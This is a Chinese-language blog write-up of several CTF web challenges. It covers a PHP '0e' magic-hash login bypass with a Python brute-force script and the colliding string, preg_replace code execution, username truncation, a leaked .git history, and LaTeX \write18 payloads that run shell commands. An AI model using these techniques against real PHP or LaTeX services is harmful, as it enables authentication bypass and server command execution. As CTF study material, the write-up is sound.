总的来说这次的比赛是比较简单的一次 所以就写个合集了
0x01 Web1 Mess of Hash
题目给出代码
<?php
$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");
#aaaaaaaaaaaaaaaaaaaaaaaajcl0su
function clean_hash($hash) {
return preg_replace("/[^0-9a-f]/","",$hash);
}
function myhash($str) {
return clean_hash(md5(md5($str) . "SALT"));
}
题目链接点进去就是个登陆框 很明显是撞库
这题有个背景 在php中 0e[0-9]*==0e[0-9]* 可能说的不清楚 看下图
所以说 只要找到一个字符串 md5(md5($str) . "SALT")后满足0e开头加数字的md5就可以了
于是写了个脚本
#!/usr/bin/env python
import hashlib,itertools
def md5():
i=0
a=[c for c in "abcdefghijklmnopqrstuvwxyz0123456789"]
for j in itertools.product(a,repeat=30):
pow = "".join(j)
#i=i+1
#print i,
str1=hashlib.md5(pow).hexdigest()+"SALT"
str2=hashlib.md5(str1).hexdigest()
if (str2[0]=="0")&(str2[1]=="e")&str2[2:].isdigit():
#if (str2[0]=="0")&(str2[1]=="e"):
f_out=open('result.txt','w')
f_out.write(pow)
f_out.close
exit(0)
# pass
if __name__=="__main__":
md5()
#a="0e2352a3458293465823648"
#print a[2:].isdigit()
扔服务器跑 最后跑出 aaaaaaaaaaaaaaaaaaaaaaaajcl0su 登陆就拿到flag
0x02 Replace with Grace
这题就是考preg_replace() 的代码执行 看图就明白了
0x03 The Secret Store
这题和isg的那题一样 用户名截断 而且有hint
用admin a申请 然后登陆 系统就认为你是admin
0x04 0ldsk00lBlog
这题也写过 hint了 .git 然后git reset HEAD^ 回滚 flag就在源码里
0x05 TexMaker
laTEX代码执行 然而怎么都执行不了...
以下引用 https://github.com/Execut3/CTF/tree/master/Participated-CTF/2016/InternetWache/web/web90
给了一个latex的接口 点击产生pdf 题目的意思就是代码执行 然后结果输出到产生pdf里
\documentclass{minimal}
\begin{document}
File listing is:
\immediate\write18{ls /usr}
\end{document}
测试发现只需要输入的地方在\begin{document}与\end{document}中间
于是只要输入 \immediate\write18{ls -al /} 就可以了
然后 他在 generate pdf 下面的debug框框找到了回显
卧槽... 我他喵的也是这么操作的啊T^T
唯一的区别就是template不一样 难道和这个有关系? 感觉没道理啊!!!
6
时间: 2016-02-23 at 12:31 回复